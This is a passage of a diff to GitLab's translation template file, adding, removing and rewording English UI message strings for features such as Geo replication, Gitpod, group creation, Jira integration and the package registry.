msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
